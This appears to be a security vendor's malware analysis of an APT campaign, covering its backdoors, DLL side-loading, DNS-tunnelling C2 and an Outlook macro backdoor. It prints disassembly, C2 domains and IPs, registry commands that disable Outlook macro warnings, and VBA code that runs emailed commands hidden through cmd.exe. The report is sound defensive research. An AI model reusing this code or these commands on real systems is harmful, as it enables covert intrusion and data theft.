000007FEF8E01472	LEA RDX, QWORD PTR DS:[7FEF8E1A3E8]	7FEF8E1A3E8: "WriteProcessMemory"
000007FEF8E01479	MOV RCX, R12	rcx: "Kernel32.dll"
000007FEF8E01484	CALL QWORD PTR DS:[<&GetProcAddress>]	
000007FEF8E01482	MOV QWORD PTR DS:[7FEF8E21DD8], RAX	
000007FEF8E01489	MOV R8D, 104	
000007FEF8E0148F	MOV RDX, R15	
000007FEF8E01492	LEA RCX, QWORD PTR DS:[7FEF8E00000]	rcx: "Kernel32.dll"
000007FEF8E01499	CALL QWORD PTR DS:[<&GetModuleFileNameA>]	

Then the loader will load the base-64 encoded payload from the resources section:

```

xor edx,edx
lea r8d,dword ptr ds:[rdx+20]
mov rcx,r14
call qword ptr ds:[<&LoadLibraryExA>
mov rdi,rcx
test rax,rax
je msfte.7FEF8A915EF
mov edx,1
lea r8d,dword ptr ds:[rdx+9]
mov rcx,rax
call qword ptr ds:[<&FindResourceA>
mov rsi,rax

```

Resource structure:

```

HANDLE hFile
DWORD dwFlags
LPCTSTR lpFileName
LoadLibraryExA
HMODULE hModule = HMODULE
GetProcAddress
LPCTSTR lpName = 1
LPCTSTR lpType
HMODULE hModule
FindResourceA

```

Memory dump:

Hex	ASCII
56 59 76 73 67 65 77 45 42 41 41 41 56 6C 66 48	VYvsgewEBAAV1fH
52 59 41 41 41 41 41 41 78 30 57 59 41 41 41 41	RYAAAAAAxOWYAAAA
41 4F 69 69 44 77 41 41 67 38 41 48 69 55 57 59	AO11DwAAg8AK1UWY
75 47 73 41 41 41 42 6D 69 59 57 45 2F 76 2F 2F	uGsAAABm1YWE/v//
75 57 55 41 41 41 42 6D 69 59 32 47 2F 76 2F 2F	uWUAAABm1Y2G/v//
75 6E 49 41 41 41 42 6D 69 5A 57 49 2F 76 2F 2F	unIAAABm1ZW1/v//
75 47 34 41 41 41 42 6D 69 59 57 48 2F 76 2F 2F	uG4AAABm1YWK/v//
75 57 55 41 41 41 42 6D 69 59 32 4D 2F 76 2F 2F	uWUAAABm1Y2M/v//

Variation in process injection routines

As mentioned earlier, the msfte.dll samples showed variation in the target host processes for injection (svchost.exe, rundll32.exe and arp.exe). However, there's also a variation in the injection technique that was used to inject the payloads:

Process Injection Target host processes: rundll32.exe	Process Hollowing Target host processes: svchost.exe / arp.exe
Determining the path of target host process: GetSystemDirectoryA → PathAppendA →	Determining the path of target host process: GetSystemDirectoryA → PathAppendA →
Process Injection routine: CreateProcessA → VirtualAllocEx → WriteProcessMemory → CreateRemoteThread	Process Hollowing routine: CreateProcessA → VirtualAllocEx → WriteProcessMemory → Wow64GetThreadContext → Wow64SetThreadContext → ResumeThread

Why the backdoor authors chose to implement two different process injection techniques is unclear. But these implementations lead to some clear conclusions:

1. The use of *PathAppendA* API is common to both injections. This is a rather obscure API that is not commonly observed in malware, at least not in the context of code injection.
2. Use of a **less-common** process hollowing implementation:
This style of [process hollowing](#) is quite uncommon. Usually in process hollowing, the *ZwUnmapViewOfSection* or *NtUnmapViewOfSection* API functions are used to unmap the original code. But in this case, the original target host process code is not mapped out. Instead, the loader uses the *Wow64SetThreadContext* API to change the EAX register to point to the malicious payload entry point rather than the entry point of the original/authentic svchost executable in memory.

3. The use of Wow64 APIs indicates that the author went specifically out of their way to utilize a 32-bit payload system, even though the loaders are 64-bit payloads.

The backdoor code

The injected payload consists of a long shellcode payload that is followed by a PE file, whose MZ header as well as other sections of the PE structure have been corrupted for anti-analysis purposes and also possibly to evade memory-based security solutions:

```
00000f90 ff 6a 00 6a 01 0b 55 f8 52 ff 95 58 fe ff ff 0f .j.j...U.R..X....
00000fa0 b6 c0 89 45 80 6a ff ff 95 08 ff ff ff eb 0c 8b ...E.j.....
00000fb0 4d 98 81 e9 00 10 dc 00 89 4d 80 8b 45 80 eb 07 M.....M..E...
00000fc0 e8 00 00 00 00 58 c3 5f 5e 8b e5 5d c2 04 00 67 ....X._^.]...g
00000fd0 45 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 E.....
00000fe0 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 .....@.....
00000ff0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
00001000 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e .....
00001010 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 .....!..L.!Thi
00001020 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 s program cannot
00001030 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d be run in DOS m
00001040 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 0a ode....&.....
00001050 bb 9f d2 5e da f1 81 5e da f1 81 5e da f1 81 45 ...^...^...^...E
00001060 47 5b 81 31 da f1 81 45 47 6f 81 4d da f1 81 57 G[.1...EGo.M...W
00001070 a2 62 81 5d da f1 81 5e da f0 81 07 da f1 81 45 .b.)...^.....E
00001080 47 5a 81 72 da f1 81 45 47 5e 81 5f da f1 81 45 GZ.r...EG^....E
00001090 47 6b 81 5f da f1 81 45 47 6c 81 5f da f1 81 52 Gk....EGl....R
000010a0 69 63 68 5e da f1 81 00 00 00 00 00 00 00 00 00 00 ich^.....
```

The purpose of the shellcode is to dynamically resolve the imports as well as to fix the destroyed PE sections on the fly. The first step is to resolve kernel32.dll in order to import **GetProcAddress()** and **LoadLibrary()** and through them dynamically resolve the rest of the imported APIs:

```

00080000 . 55          push ebp
00080001 . 8B EC       mov ebp, esp
00080003 . 81 EC 04 04 00 00 sub esp, 404
00080009 . 56          push esi
0008000A . 57          push edi
0008000B . C7 45 80 00 00 00 00 mov dword ptr ss:[ebp-80], 0
0008000C . C7 45 98 00 00 00 00 mov dword ptr ss:[ebp-68], 0
0008000D . E8 A2 0F 00 00 call 80FC0
0008000E . 83 C0 0A    add eax, A
0008000F . 89 45 98    mov dword ptr ss:[ebp-68], eax
00080010 . 8B 68 00 00 00 mov eax, 68
00080011 . 66 89 85 84 FE FF FF mov word ptr ss:[ebp-17C], ax
00080012 . 89 65 00 00 00 mov ecx, 65
00080013 . 66 89 8D 86 FE FF FF mov word ptr ss:[ebp-17A], cx
00080014 . 8A 72 00 00 00 mov edx, 72
00080015 . 66 89 95 88 FE FF FF mov word ptr ss:[ebp-178], dx
00080016 . 8B 6E 00 00 00 mov eax, 6E
00080017 . 66 89 85 8A FE FF FF mov word ptr ss:[ebp-176], ax
00080018 . 89 65 00 00 00 mov ecx, 65
00080019 . 66 89 8D 8C FE FF FF mov word ptr ss:[ebp-174], cx
0008001A . 8A 6C 00 00 00 mov edx, 6C
0008001B . 66 89 95 8E FE FF FF mov word ptr ss:[ebp-172], dx
0008001C . 8B 33 00 00 00 mov eax, 33
0008001D . 66 89 85 90 FE FF FF mov word ptr ss:[ebp-170], ax
0008001E . 89 32 00 00 00 mov ecx, 32
0008001F . 66 89 8D 92 FE FF FF mov word ptr ss:[ebp-16E], cx
00080020 . 8A 2E 00 00 00 mov edx, 2E
00080021 . 66 89 95 94 FE FF FF mov word ptr ss:[ebp-16C], dx
00080022 . 8B 64 00 00 00 mov eax, 64
00080023 . 66 89 85 96 FE FF FF mov word ptr ss:[ebp-16A], ax
00080024 . 8B 6C 00 00 00 mov ecx, 6C

```


Resolving GetProcAddress():

```

00080203 mov dword ptr ss:[ebp-78],ecx
00080206 jmp 800FD
00080208 mov edx,dword ptr ss:[ebp-10C]
000802E1 mov dword ptr ss:[ebp-58],edx
000802E4 mov byte ptr ss:[ebp-D0],47
000802EB mov byte ptr ss:[ebp-CF],65
000802F2 mov byte ptr ss:[ebp-CE],74
000802F9 mov byte ptr ss:[ebp-CD],50
00080300 mov byte ptr ss:[ebp-CC],72
00080307 mov byte ptr ss:[ebp-CB],6F
0008030E mov byte ptr ss:[ebp-CA],63
00080315 mov byte ptr ss:[ebp-C9],41
0008031C mov byte ptr ss:[ebp-C8],64
00080323 mov byte ptr ss:[ebp-C7],64
0008032A mov byte ptr ss:[ebp-C6],72
00080331 mov byte ptr ss:[ebp-C5],65
00080338 mov byte ptr ss:[ebp-C4],73
0008033F mov byte ptr ss:[ebp-C3],73

```

Once the repair is done, the shellcode will create a new RWX region, and copy the PE there, leaving the MZ header remains corrupted:



The PE's metadata contains the file name ("ciscoeapfast.exe") and description ("Cisco EAP-FAST Module"). The metadata must have been manually altered by the backdoor authors to make it look like a credible product:

SHA-1: E9DAB61AE30DB10D96FDC80F5092FE9A467F2CD3


File Version:	2,2,14,0	Product Version	2,2,14,0
File Flags Mask:	3F	File Flags:	(0)
File Type:	(0) Unknown Type	File Subtype:	(0) Unknown Subtype
File OS:	(40004) Dos32, NT32		
Comments:		Company Name:	Cisco Systems, Inc.
File Description:	Cisco EAP-FAST Module	File Version (ASCII):	2.2.14.0
Internal Name:	Cisco EAP-FAST Module	Legal Copyright:	Copyright (C) 2006-2009
Original Filename:	CiscoEapFast.exe	Product Name (ASCII):	Cisco EAP-FAST Module
Product Version (ASCII):	2.2.14.0	Private Build:	

The strings "ciscoeapfast.exe" and "Cisco EAP-FAST Module" were found in most of the samples of the Denis backdoor that were recovered during the investigation. In addition, the

threat actor has been using it in other attacks as well. Please see our [Attackers' Profile & Indicators of Compromise section](#) of this report.

Finally, the backdoor will decrypt important strings, such as IPs and domain names that are necessary for the C&C communication via DNS Tunneling.

Excerpt from the domain decryption subroutine:



The following screenshot shows the final decrypted strings used for the DNS Tunneling communication:

- **DNS Server IPs:** 208.67.222.222 (OpenDNS) and Google (8.8.8.8)
- **Domain name:** teriava(.com)

0009F228	call <sub_95534>	
0009F22D	push dword ptr ds:[esi+114]	
0009F233	call <sub_95534>	
0009F238	push dword ptr ds:[esi+118]	esi+118: "208.67.222.222"
0009F23E	call <sub_95534>	
0009F243	push dword ptr ds:[esi+11C]	esi+11C: "67.222.222"
0009F249	call <sub_95534>	
0009F24E	push dword ptr ds:[esi+120]	esi+120: "22.222"
0009F254	call <sub_95534>	
0009F259	push dword ptr ds:[esi+124]	esi+124: "22"
0009F25F	call <sub_95534>	
0009F264	push dword ptr ds:[esi+128]	esi+128: "z.teriava.com"
0009F26A	call <sub_95534>	
0009F26F	push dword ptr ds:[esi+12C]	esi+12C: "riava.com"
0009F275	call <sub_95534>	
0009F27A	push dword ptr ds:[esi+130]	esi+130: "a.com"
0009F280	call <sub_95534>	
0009F285	push dword ptr ds:[esi+134]	
0009F28B	call <sub_95534>	
0009F290	push dword ptr ds:[esi+138]	esi+138: "z.vieweva.com"
0009F296	call <sub_95534>	
0009F29B	push dword ptr ds:[esi+13C]	esi+13C: "eweva.com"
0009F2A1	call <sub_95534>	
0009F2A6	push dword ptr ds:[esi+140]	esi+140: "a.com"
0009F2AC	call <sub_95534>	
0009F2B1	push dword ptr ds:[esi+144]	
0009F2B7	call <sub_95534>	
0009F2BC	push dword ptr ds:[esi+148]	esi+148: "A.A.A.A"

C2 communication

As mentioned before, the backdoor uses a stealthy C2 communication channel by implementing DNS Tunneling. This technique uses DNS packets to transfer information between two hosts. In general, this technique is considered to be rather stealthy since not many security products perform deep packet inspection, which would detect this activity. The backdoor authors added even more stealthy components to this technique and made sure that no direct connection was established between the compromised machines and the real C&C servers.

The attackers used trusted DNS servers, such as OpenDNS and Google's DNS servers, in order to resolve the IPs of the domains that were hidden inside the DNS packets. Once the packets reached the real C&C server, the base64-encoded part is stripped, decoded and re-assembled, thus enabling communication as well as data exfiltration. This is a rather slow yet smart way to ensure that the traffic will not be filtered, since most organizations will not block DNS traffic to Google or OpenDNS servers. This technique's biggest caveat is that it can get very "noisy" in terms of the unusual amount of DNS packets required to exfiltrate data such as files and documents.



Example of the network traffic generated by the backdoor

The destination IP is Google's 8.8.8.8 DNS server, and the DNS packet contain the real domain in the query field. The data sent to the server comes in the form of a base64-encoded string, which is appended as a subdomain:

Destination	Protocol	Len	Info
8.8.8.8	DNS	3...	Standard query 0x07e8 NULL AAAAAAAAAAAAAAAAAAAAAAAAAAGQ_.z.teriava.com
192.168.0.36	DNS	1...	Standard query response 0x07e8 NULL AAAAAAAAAAAAAAAAAAAAAAAAAAGQ_.z.teriava...
8.8.8.8	DNS	3...	Standard query 0x07e8 NULL vyR5fwQAAAAAAAAEAAAAAAAAAAAAAGrF.AAAAAAwAAAA8AAAAeJ...
192.168.0.36	DNS	2...	Standard query response 0x07e8 NULL vyR5fwQAAAAAAAAEAAAAAAAAAAAAAGrF.AAAAAAwAA...
8.8.8.8	DNS	3...	Standard query 0x07e8 NULL vyR5fwAAAAAAAAAAAAAAAAAAAAAGth.z.teriava.com
192.168.0.36	DNS	1...	Standard query response 0x07e8 NULL vyR5fwAAAAAAAAAAAAAAAAAAAAAGth.z.teriava...
8.8.8.8	DNS	3...	Standard query 0x07e8 NULL vyR5fwAAAAAAAAAAAAAAAAAAAAAHHH.z.teriava.com
192.168.0.36	DNS	1...	Standard query response 0x07e8 NULL vyR5fwAAAAAAAAAAAAAAAAAAAAAHHH.z.teriava...
8.8.8.8	DNS	3...	Standard query 0x07e8 NULL vyR5fwAAAAAAAAAAAAAAAAAAAAAHgt.z.teriava.com
192.168.0.36	DNS	1...	Standard query response 0x07e8 NULL vyR5fwAAAAAAAAAAAAAAAAAAAAAHgt.z.teriava...
8.8.8.8	DNS	3...	Standard query 0x07e8 NULL vyR5fwAAAAAAAAAAAAAAAAAAAAAH6y.z.teriava.com

Second backdoor: “Goopy”



The adversaries introduced another backdoor during the second stage of the attack. We named it “Goopy”, since the backdoor’s vessel is a fake goopdate.dll file, which was dropped together with a **legitimate GoogleUpdate.exe** application which is vulnerable to DLL hijacking and placed the two files under a unique folder in APPDATA:


`C:\users\xxxxxxx\appdata\local\google\update\download\{GUID}\`

Seven unique samples of the “Goopy” backdoor were recovered by Cybereason:

File name	SHA-1
goopdate.dll	9afe0ac621c00829f960d06c16a3e556cd0de249 973b1ca8661be6651114edf29b10b31db4e218f7 1c503a44ed9a28aad1fa3227dc1e0556bbe79919 2e29e61620f2b5c2fd31c4eb812c84e57f20214a c7b190119cec8c96b7e36b7c2cc90773cffd81fd 185b7db0fec0236dff53e45b9c2a446e627b4c6a ef0f9aaf16ab65e4518296c77ee54e1178787e21

The attackers used a **legitimate and signed GoogleUpdate.exe** application that is vulnerable to **DLL hijacking vulnerability**:

GoogleUpdate.exe, **SHA-1**: d30e8c7543adbc801d675068530b57d75cabb13f,



GoogleUpdate's DLL hijacking vulnerability was previously reported to already in 2014, since other malware have been exploiting this vulnerability. Most notable ones are the notorious [PlugX](#) and the [CryptoLuck](#) ransomware.

***** Following responsible disclosure, this vulnerability was reported to Google on April 2, 2017.**

Analysis of Goopy


From features perspective, Goopy shows great similarities to the Denis backdoor. At the same time, code analysis of the two backdoor clearly shows substantial differences between the two. The coding style and other static features suggest that they were compiled (and possibly authored) by the same threat actor. One of the more interesting features of Goopy is that it

seems specifically designed to exploit a “**DLL Hijacking**” vulnerability against Google Update (googleupdate.exe) using a fake **goopdate.dll module**. There may be other versions targeting other applications, but the ones Cybereason obtained, **specifically contained code that specifically targeted GoogleUpdate**. The Goopy backdoor was dropped and launched by the Denis backdoor. The machines infected with Goopy had already been infected by the Denis backdoor. Generally, it is not very common to see multiple backdoors from the same threat actors residing on the same compromised machines. Nonetheless, this pattern was observed on multiple machines throughout the attack.

Following are the most notable features that distinguish Goopy from Denis:

- **Unusually large files (30MB to 55MB)** - Compared to the Denis backdoor, which ranges between 300KB and 1.7MB. This is quite unusual. The goopdate.dll files are inflated with null characters, most probably to bypass security solutions that don't inspect large files.

In addition, the Goopy backdoor has a lot of junk code interlaced with real functions - to make analysis harder. One example is in a giant subroutine that **contains more than 5600 nodes**, containing many anti-debugging / anti-disassembly tricks, including infinite loops:



- **Specifically tailored to target GoogleUpdate** - The Goopy payloads contain a hard-coded verification made to ensure that the backdoor is loaded and executed by GoogleUpdate. If the check fails, the backdoor will terminate the googleupdate process and exit. By comparison, The Denis backdoor loader is more “naive”, since it doesn't check from which process the backdoor is executed, thus making it also more flexible, since it can exploit DLL hijacking on any given vulnerable application:

```


.text:70FEB8B0 sub_70FEB8B0      proc near                                ; CODE XREF: sub_70FEB470+18↑p
.text:70FEB8B0                                                         ; sub_70FEB810+4B↑p
.text:70FEB8B0
.text:70FEB8B0 hObject          = dword ptr -8
.text:70FEB8B0 var_4            = dword ptr -4
.text:70FEB8B0
.text:70FEB8B0                push    ebp
.text:70FEB8B1                mov     ebp, esp
.text:70FEB8B3                sub     esp, 8
.text:70FEB8B6                push    offset aGoogleupdate_0 ; "GoogleUpdate.exe"
.text:70FEB8B8                push    offset String1 ; "GoogleUpdate.exe"
.text:70FEB8C0                call    ds:IstrcmpiW
.text:70FEB8C6                test   eax, eax
.text:70FEB8C8                jz     short loc_70FEB8D6
.text:70FEB8CA                push    0 ; uExitCode
.text:70FEB8CC                call    ds:ExitProcess
.text:70FEB8D2                mov     al, 1
.text:70FEB8D4                jmp     short loc_70FEB931

```


- **Stealthier and more advanced** - Unlike the Denis backdoor, goopdate.dll shows significant signs of post-compilation modification. The code section of this PE is extremely interesting and unusual, and demonstrates the potential of a very powerful code-generation engine underlying it. The backdoor's code and data are well protected and are decrypted at runtime, using a complex polymorphic decryptor. The polymorphic decryptor is comprised of thousands of lines that are interlaced with junk API calls and nonsense code in order to thwart analysis. Here's an example:

<pre> xor al,al jmp goopdate.6D35A966 mov eax,dword ptr ds:[<&TlsSetValue>] push eax mov ecx,dword ptr ss:[ebp-8] add ecx,3F48FE push ecx call goopdate.6D35AAC0 add esp,8 movzx edx,al test edx,edx jne goopdate.6D356A0C xor al,al jmp goopdate.6D35A966 mov eax,dword ptr ds:[<&GetModuleFileName>] push eax mov ecx,dword ptr ss:[ebp-8] add ecx,1C30552 push ecx call goopdate.6D35AAC0 add esp,8 movzx edx,al test edx,edx jne goopdate.6D356A32 xor al,al jmp goopdate.6D35A966 mov eax,dword ptr ds:[6D3DC778] add eax,1D1D80C push eax mov ecx,dword ptr ss:[ebp-34] push ecx mov edx,dword ptr ss:[ebp-8] push edx call goopdate.6D35AB40 add esp,C mov eax,dword ptr ds:[<&LoadResource>] push eax mov ecx,dword ptr ss:[ebp-8] </pre>	<pre> ecx:EntryPoint, [ebp-8]:Ent ecx:EntryPoint, [ebp-8]:Ent 6D3DC778:"P@VK" ecx:EntryPoint [ebp-8]:EntryPoint ecx:EntryPoint, [ebp-8]:Ent </pre>
---	--

- **HTTP Communication** - Unlike the Denis backdoor, Goopy was observed communicating over HTTP (port 80 and 443), in addition to its DNS-based C2 channel:



DNS resolution of the C&C server IP:



Example of HTTP usage, as observed using Wireshark to log the network traffic generated by Goopy:

```

POST http://184.95.51.179:80/tPQswc262 HTTP/1.1
Host: 184.95.51.179
User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0
Accept-Encoding: gzip
Accept: */*
Cookie: PHPSESSID=;
Content-Length: 49
Connection: keep-alive

```

- **Different DNS tunneling implementation** - Unlike the main backdoor, this variant implements a different algorithm for the C2 communication over DNS tunneling and also used DNS TXT records. In addition, most of the samples communicated directly with the C&C servers over DNS, unlike the Denis backdoor that comes pre-configured with Google and OpenDNS as their intermediary DNS servers:

Protocol	Len	Info
DNS	98	Standard query 0x8acd TXT AgGD4/7vNWQPZzD90efg8rss.cloudwsus.net
DNS	98	Standard query 0xce56 TXT l4x01cm80wRjxx+Xv2Yw89ss.nortonudt.net
DNS	1...	Standard query response 0x8acd TXT AgGD4/7vNWQPZzD90efg8rss.clou
DNS	98	Standard query 0x710d TXT A-1wDVS1T8kd4FpzDGhQX6ss.cloudwsus.net
DNS	1...	Standard query response 0x710d TXT A-1wDVS1T8kd4FpzDGhQX6ss.clou
DNS	98	Standard query 0xb956 TXT i-+XSzXlR+vMnQHe1xkmV9ss.cloudwsus.net
DNS	98	Standard query 0x106d TXT n84ZJA0PBuSQhPjQKN+aD9ss.cloudwsus.net
DNS	98	Standard query 0xe927 TXT dYVSdH2C---gxd/uqDZAXJ9ss.cloudwsus.net
DNS	98	Standard query 0x49a4 TXT lLgDJpeB08Q2pot/kSS0ress.cloudwsus.net
DNS	98	Standard query 0xeb08 TXT Uip+IlvRGefAd-QG5wTw96ss.cloudwsus.net
DNS	98	Standard query 0xc33a TXT 5bAqijqYYrE0H1WiXhJvF6ss.cloudwsus.net
DNS	98	Standard query 0x9038 TXT bL+JryfR/VOAhpnmLr4eWess.cloudwsus.net
DNS	98	Standard query 0x8e59 TXT Gh/TTQ-PHWm4t19+DZNyVrss.cloudwsus.net
DNS	98	Standard query 0xbd1c TXT F5JNh-1JQe8LojP9eMdZ1rss.cloudwsus.net
DNS	98	Standard query 0xd6bb TXT T3l+FXLLgaflaeQg7HFZUess.cloudwsus.net
DNS	98	Standard query 0xa0a2 TXT DAXuEBLG0jrUer//3Pq+n6ss.cloudwsus.net
DNS	98	Standard query 0x363b TXT AKAZ993fExcy7F3bF0Hjg6ss.cloudwsus.net
DNS	98	Standard query 0x5737 TXT D9+wH0pFx8I-/9cLK+Nporss.cloudwsus.net
DNS	98	Standard query 0x4aad TXT 9p02jeyCWYYGDT2cUcvQP6ss.cloudwsus.net
DNS	98	Standard query 0x06ab TXT 2qkWBD0dcZ+WAe92vv2fyess.cloudwsus.net


- **Different Mutex creation routine** - The mutex creation routine exhibited in “Goopy” is different from the main backdoor, which is made out of a pseudo-random generated value that is appended to the user name:

```

16 }
17 else if ( byte_70DFD580 )
18 {
19     nSize = 260;
20     sub_70D7C5E0(Buffer, 0, 520);
21     if ( !GetUserNameW(Buffer, &nSize) )
22         nSize = 0;
23     Buffer[nSize] = 0;
24     sub_70D7C5E0(&String1, 0, 520);
25     lstrcpyW(&String1, L"{96EB6AD8-74FE-4A67-8453-E54817E862AC}_");
26     lstrcatW(&String1, Buffer);
27     hObject = CreateMutexW(0, 1, &String1);
28     v3 = GetLastError();
29     if ( hObject )


```

As opposed to the Denis' mutex pattern, which has a pseudo-random generated value appended to the user name, the mutex format is different and contains neither curly brackets nor dashes:



- **Persistence** - While Denis uses Window's Wsearch Service for persistence, Goopy uses also scheduled tasks to ensure that the backdoor is running. The scheduled task runs every hour. If the backdoor's mutex is detected, the newly run process will exit.

DLL side loading against legitimate applications



The attackers used DLL side loading, a well-known technique for evading detection that uses legitimate applications to run malicious payloads. In Cobalt Kitty, the attackers used DLL side loading against software from Kaspersky, Microsoft and Google. The hackers likely picked these programs since they're from reputed vendors, making users unlikely to question the processes these programs run and decreasing the chances that analysts will scrutinize them. For example, the attackers used the following legitimate Avpia.exe binary:

SHA-1: 691686839681adb345728806889925dc4eddb74e

Authenticode signature block and FileVersionInfo properties	
Copyright	© 2016 AO Kaspersky Lab. All Rights Reserved.
Product	Kaspersky Anti-Virus
Original name	avpia.exe
Internal name	avpia
File version	17.0.0.611
Description	Installation assistant host
Signature verification	✔ Signed file, verified signature
Signing date	11:49 PM 6/27/2016
Signers	[+] Kaspersky Lab [+] DigiCert High Assurance Code Signing CA-1 [+] DigiCert High Assurance EV Root CA

They dropped the legitimate avpia.exe along with a fake DLL “product_info.dll” into PROGRAMDATA:

SHA-1: 3cf4b44c9470fb5bd0c16996c4b2a338502a7517

- File

 product_info.dll  File	c:\programdata\kis\kaspers... Path	3cf4b44c9470fb5bd0c1699... SHA1 Signature
554712faed9ee9731f78bdf... MD5 signature	Blacklisted Reputation	False Signed
False Signature verified		


The payload found in the fake product_info.dll communicates with domain and IP that was previously used in the attack in to drop Cobalt Strike payloads:

- DNS

 13 resolved dns queries from domain to ip

Search		
support.chatconnecting.com > 45.114.117.137		
support.chatconnecting.com > 45.114.117.137		

Outlook backdoor macro



During the third phase of the attack, the attackers introduced a new way to communicate with their C&C servers: an Outlook macro that serves as a backdoor. This backdoor is very unique and was not documented before to be used in APTs. The only references that come close to that type of Outlook backdoor are theoretical papers by [the NSA \(unclassified paper from 2000\)](#) as well as a research paper presented by a group of [security researchers in 2011](#).

The attackers replaced Outlook's original **VbaProject.OTM** file, which contains Outlook's macros, with a malicious macro that serves as the backdoor. The backdoor receives commands from a Gmail address operated by the threat actor, executes them on the compromised machines and sends the requested information to the attacker's Gmail account.

This technique was observed only on a handful of compromised machines that belonged to top-level management and were already compromised by at least one other backdoor.

Before the attackers deployed the macro-based backdoor, they had to take care of two things:

1. **Creating persistence**

The attackers modified specific registry values to create persistence:

```
REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Office\14\Outlook" /v  
"LoadMacroProviderOnBoot" /f /t REG_DWORD /d 1
```

2. **Disabling Outlook's security policies**

To do that, the attackers modified Outlook's security settings to enable the macro to run without prompting any warnings to the users:

```
REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Office\14\Outlook\Security"  
/v "Level" /f /t REG_DWORD /d 1
```

Finally, the attackers replaced the existing VbaProject.OTM with the fake macro:

```
/u /c cd c:\programdata\& copy VbaProject.OTM
```

```
C:\Users\[REDACTED]\AppData\Roaming\Microsoft\Outlook
```

VbaProject.OTM, SHA-1:320e25629327e0e8946f3ea7c2a747ebd37fe26f

The backdoor macro

Once installed and executed, the macro performed these actions:

1. Search for new instructions - The macro will loop through the contents of Outlook's inbox and searches for the strings "\$\$cpte" and "\$\$ecpte" inside an email's body. These two strings mark the start and end of the strings the attackers are sending.

The "beauty" of using these markers is that the attackers don't need to embed their email addresses in the macro code, and can change as many addresses as they want. They only need to include the start-end markers:

```
strMsgBody = testObj.Body  
Dim startstr, endstr  
startstr = InStr(strMsgBody, "$$cpte")  
If startstr <> 0 Then  
    startstr = startstr + Len("$$cpte")  
    endstr = InStr(startstr, strMsgBody, "$$ecpte")  
    If endstr <> 0 And endstr > startstr Then  
        midstr = Mid(strMsgBody, startstr, endstr - startstr)
```

2. Write the message to temp file - When the macro finds an email whose content matches the strings, the message body is copied to %temp%\msgbody.txt :

```
'Write mail body to file  
'strfilename = Environ("temp") & "\msgbody.txt"  
'strMsgBody = testObj.Body  
'Dim fso, tf  
'Set fso = CreateObject("Scripting.FileSystemObject")  
'wscript.echo fname  
'need to handle errors if the folder does not exist or the file is currently open  
'Set tf = fso.CreateTextFile(strfilename, True)  
'tf.Write strMsgBody
```

3. Delete the email - The backdoor authors were keen to dispose of the evidence quickly to avoid raising any suspicions from the victims. Once the email content is copied, the macro deletes the email from the inbox:

```

' Dim myDeletedItem
' Set myDeletedItem = testObj.Move(DeletedFolder)
' myDeletedItem.Delete
' testObj.UserProperties.Add "Deleted", olText
' testObj.Save
' testObj.Delete
' Dim objDeletedItem
' Dim oDes
' Dim objProperty
' Set oDes = Application.Session.GetDefaultFolder(olFolderDeletedItems)
' For Each objItem In oDes.Items
'     Set objProperty = objItem.UserProperties.Find("Deleted")
'     If TypeName(objProperty) <> "Nothing" Then
'         objItem.Delete
'     End If
' End For

```

4. Then the msgbody is parsed and the string between the start-end markers is passed as a command to cmd.exe:

```


' create process for command
Dim pInfo As PROCESS_INFORMATION
Dim sInfo As STARTUPINFO
Dim sNull As String
Dim lSuccess As Long
Dim lRetValue As Long
Dim execCommand As String
execCommand = "cmd.exe /C "" " & midstr & """"
sInfo.dwFlags = STARTF_USESHOWWINDOW
sInfo.wShowWindow = SW_HIDE
sInfo.cb = Len(sInfo)
lSuccess = CreateProcess(sNull, _
                        execCommand, _
                        ByVal 0&, _
                        ByVal 0&, _
                        1&, _
                        CREATE_NO_WINDOW, _
                        ByVal 0&, _
                        ByVal 0&, _
                        ByVal 0&)

```

5. **Acknowledgement** - After the command is executed, the macro will send an acknowledgment email to the attackers' Gmail account ("OK!"), which it will obtain from the deleted items folder. Then it will delete the email from the sent items folder.

6. **Exfiltrate data** - The macro will send the requested data back to the attackers as an attachment, after it obtains the address from the deleted items folder.

This unique data exfiltration technique was detected by Cybereason:



Analysis of the commands sent by the attackers showed that they were mainly interested in:

1. **Proprietary information** - They attempted to exfiltrate sensitive documents from the targeted departments that contained trade secrets and other proprietary information.
2. **Reconnaissance** - The attackers kept collecting information about the compromised machine as well as the network using commands like: ipconfig, netstat and net user.

Cobalt Strike

[Cobalt Strike](#) is a well-known, commercial offensive security framework that is popular among security professionals and is mainly used for security assessments and penetration testing. However, illegal use of this framework has been reported in the past in the context of advanced persistent threats (APTs). Cobalt Strike is also one of the main links of this APT to the OceanLotus group. This group is [particularly known for using Cobalt Strike](#) in its [different APT campaigns throughout Asia](#).

The adversaries extensively used this framework during this attack, particularly during the first and fourth stages. [Cobalt Strike's Beacon](#) was the main tool used in the attack, as shown in the following screenshot, which shows memory strings of one of the payloads used in the attack (ed074a1609616fdb56b40d3059ff4bebe729e436):

```
0x51a9c28 (23): I'm already in SMB mode
0x51a9c40 (10): %s (admin)
0x51a9c4c (31): Could not open process: %d (%u)
0x51a9c6c (37): Could not open process token: %d (%u)
0x51a9c94 (40): Failed to impersonate token from %d (%u)
0x51a9cc0 (45): Failed to duplicate primary token for %d (%u)
0x51a9cf0 (44): Failed to impersonate logged on user %d (%u)
0x51a9d20 (26): Could not create token: %d
0x51a9d3c (79): HTTP/1.1 200 OK
Content-Type: application/octet-stream
Content-Length: %d

0x51a9dec (57): Z:\devcenter\aggressor\external\beacon\bin\beacon_dll.pdb
```

The attackers also used a range of other Cobalt Strike and Metasploit tools such as loaders and stagers, especially during the fileless first stage of the operation, which relied mainly on Cobalt Strike's PowerShell payloads.

COM Scriptlets (.sct payloads)


In phases one and two, the attackers used PowerShell scripts to download COM Scriptlets containing malicious code that ultimately used to download a Cobalt Strike beacon. An almost identical usage of this technique (and even payload names) was seen [in other APTs carried out by the OceanLotus group](#). This technique is very well documented and has gained popularity in recent attacks, especially because it's effectiveness in bypassing Windows's Application Whitelisting. For further details about this technique, please refer to:

<http://subt0x10.blogspot.jp/2016/04/setting-up-homestead-in-enterprise-with.html>

